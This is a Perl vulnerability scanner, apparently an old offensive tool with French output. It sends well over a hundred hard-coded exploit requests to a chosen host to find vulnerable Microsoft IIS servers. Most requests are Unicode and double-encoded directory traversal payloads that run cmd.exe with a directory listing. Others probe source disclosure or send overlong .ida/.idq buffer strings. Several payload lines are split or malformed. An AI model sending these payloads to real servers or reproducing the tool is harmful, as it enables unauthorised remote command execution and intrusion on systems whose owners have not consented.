#!/usr/bin/perl -w

#Info: Scanner iis
#created by cez_ from drea-m
#version 1.1

use IO::Socket;

$version = 1.1;
&title();

sub getopt()
{
die "Usage: ./$0 -h <host> -l <log>\n" if !$ARGV[3];

for (my $ind = 0; $ind < $#ARGV; $ind++) {
($var) = ($ARGV[$ind] =~ /^-([hl])/);
$ind++;
if ($var eq 'h') { (($host) = ($ARGV[$ind] =~ /^([a-zA-Z0-9.]+.*)$/)) or die "Invalid host: $ind\n";}
elsif ($var eq'l') { $log = $ARGV[$ind]; }
else { die "Usage: ./$0 -h <host> -l <log>\n"; }
	}
}

&getopt();
&ident();

open(IN, ">$log");

@list = ('GET /home/home.asp',
'GET /samples/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%c0%9v..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%c0%qf..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:',

'GET /pbserver/..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%c1%8s..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%c1%af..%c1%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%c1%pc..c1%pc../winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%e0%80%af..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%f0%80%80%af..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%f8%80%80%80%af..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/..%fc%80%80%80%80%af..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /pbserver/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+dir+c:',
'GET /scripts/bbs.pl%3F+.htr',
'GET /scripts/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /scripts/fpcount.exe',
'GET /scripts/no-such-file.pl',
'GET /scripts/tools/getdrvs.exe',
'GET /scripts/tools/newdsn.exe',
'GET /Rpc/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /Rpc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:',
'GET /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/Samples/SELECTOR/showcode.asp',
'GET /msadc/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+dir+c:',
'GET /msadc/..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%252c..%252c..%252c..%252cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:',
'GET /msadc..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /login.asp%3F+.htr',
'GET /index.asp%81',
'GET /global.asa+.htr',
'GET /default.asp\\',
'GET /default.asp::$DATA',
'GET /default.asp', 
'GET /common/browser.inc',
'GET /..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:',
'GET /..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /..%c0%9v..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:',
'GET /..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /..%c0%qf..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:',
'GET /..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /..%c1%8s..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:',
'GET /..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /..%c1%af..%c1%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /..%c1%pc..c1%pc../winnt/system32/cmd.exe?/c+dir+c:',
'GET /..%e0%80%af..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /..%f0%80%80%af..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /..%f8%80%80%80%af..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c
:',
'GET /..%fc%80%80%80%80%af..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c
+dir+c:',
'GET /..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cm
d.exe\?/c\+dir+c:',
'GET /_mem_bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c
+dir+c:',
'GET /_mem_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+
dir+c:',
'GET /_mem_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.ex
e?/c+dir+c:',
'GET /_vti_bin..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/syste
m32/cmd.exe?/c+dir+c:',
'GET /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.ex
e?/c+dir+c:',
'GET /_vti_bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+di+c:',
'GET /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../w
innt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_bin/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c
:',
'GET /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.ex
e?/c+dir+c:',
'GET /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.ex
e?/c+dir+c:',
'GET /_vti_bin/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_bin/..%c0%9v..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_bin/..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+
dir+c:',
'GET /_vti_bin/..%c0%qf..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_bin/..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_bin/..%c1%8s..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_bin/..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_bin/..%c1%af..%c1%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_bin/..%c1%pc..c1%pc../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_bin/..%e0%80%af..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_bin/..%f0%80%80%af..%f0%80%80%af../winnt/system32/cmd.exe?/c+di
r+c:',
'GET /_vti_bin/..%f8%80%80%80%af..%f8%80%80%80%af../winnt/system32/cmd.exe
?/c+dir+c:',
'GET /_vti_bin/..%fc%80%80%80%80%af..%fc%80%80%80%80%af../winnt/system32/c
md.exe?/c+dir+c:',
'GET /_vti_bin/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/sy
stem32/cmd.exe\?/c\+dir+c:',
'GET /_vti_bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c
+dir+c:',
'GET /_vti_bin/shtml.dll',
'GET /_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cm
d.exe?/c+dir+c:',
'GET /_vti_cnf/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+
dir+c:',
'GET /_vti_cnf/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c
+dir+c:',
'GET /_vti_pvt..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_pvt/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_pvt/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c
:',
'GET /_vti_pvt/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_pvt/..%c0%9v..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_pvt/..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_pvt/..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_pvt/..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_pvt/..%c1%af..%c1%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_pvt/..%c1%pc..c1%pc../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_pvt/..%e0%80%af..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /_vti_pvt/..%f0%80%80%af..%f0%80%80%af../winnt/system32/cmd.exe?/c+di
r+c:',
'GET /_vti_pvt/..%f8%80%80%80%af..%f8%80%80%80%af../winnt/system32/cmd.exe
?/c+dir+c:',
'GET /_vti_pvt/..%fc%80%80%80%80%af..%fc%80%80%80%80%af../winnt/system32/c
md.exe?/c+dir+c:',
'GET /_vti_pvt/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/sy
stem32/cmd.exe\?/c\+dir+c:',
'GET /a.asp/..%c1%1c../..%c1%1c../winnt/win.ini',
'GET /a.ida?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'GET /a.idq?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'GET /adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/c
md.exe?/c+dir+c:',
'GET /adsamples/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c
+dir+c:',
'GET /adsamples/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/
c+dir+c:',
'GET /bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe
?/c+dir+c:',
'GET /bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c
:',
'GET /bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+
c:',
'GET /cgi/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe
?/c+dir+c:',
'GET /cgi/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c
:',
'GET /cgi/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+
c:',
'GET /cgi-bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /cgi-bin/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:',
'GET /cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd
.exe?/c+dir+c:',
'GET /cgi-bin/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:',
'GET /cgi-bin/..%c0%9v..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:',
'GET /cgi-bin/..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /cgi-bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+d
ir+c:',
'GET /cgi-bin/..%c0%qf..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:',
'GET /cgi-bin/..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /cgi-bin/..%c1%8s..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:',
'GET /cgi-bin/..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:',
'GET /cgi-bin/..%c1%af..%c1%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /cgi-bin/..%c1%pc..c1%pc../winnt/system32/cmd.exe?/c+dir+c:',
'GET /cgi-bin/..%e0%80%af..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:',
'GET /cgi-bin/..%f0%80%80%af..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
+c:',
'GET /cgi-bin/..%f8%80%80%80%af..%f8%80%80%80%af../winnt/system32/cmd.exe?
/c+dir+c:',
'GET /cgi-bin/..%fc%80%80%80%80%af..%fc%80%80%80%80%af../winnt/system32/cm
d.exe?/c+dir+c:',
'GET /cgi-bin/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/sys
tem32/cmd.exe\?/c\+dir+c:',
'GET /cgi-bin/check.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+
dir+c:');

foreach $req (@list) 
{
	&conex();
	$/ = '\0';

	if(<$conx> =~ /404/) { print STDOUT "$req : 404 not found!\n\n"; }
	elsif(<$conx> =~ /400/) { print STDOUT "$req : 400 bad request!\n\n"; }
	else { print IN "$req : Found!\n\n"; }
}

sub ident
{
	$conx = IO::Socket::INET->new ( Proto => "tcp",
					PeerAddr => $host,
					PeerPort => 80)
		or die "Connection a $host impossible!\n";
	
	print $conx "HEAD HTTP/1.0\r\n\r\n";

$/ = '\0';
if(<$conx> =~ /IIS/){print STDOUT "scan en cours...\n\n"; }
else { print STDOUT "$host n'est pas un server IIS!\n";
exit; }
}

sub title {
	print STDOUT "\niis_scan version: $version - \n";
	print STDOUT "Scanner de failles type unicode (IIS)\n\n";
}

sub conex
{
	$conx = IO::Socket::INET->new ( Proto =>"tcp",
					PeerAddr => $host,
					PeerPort => 80)
		or die "Impossible de se connecter a $host\n";

	print $conx "$req HTTP/1.0\r\n\r\n";
}

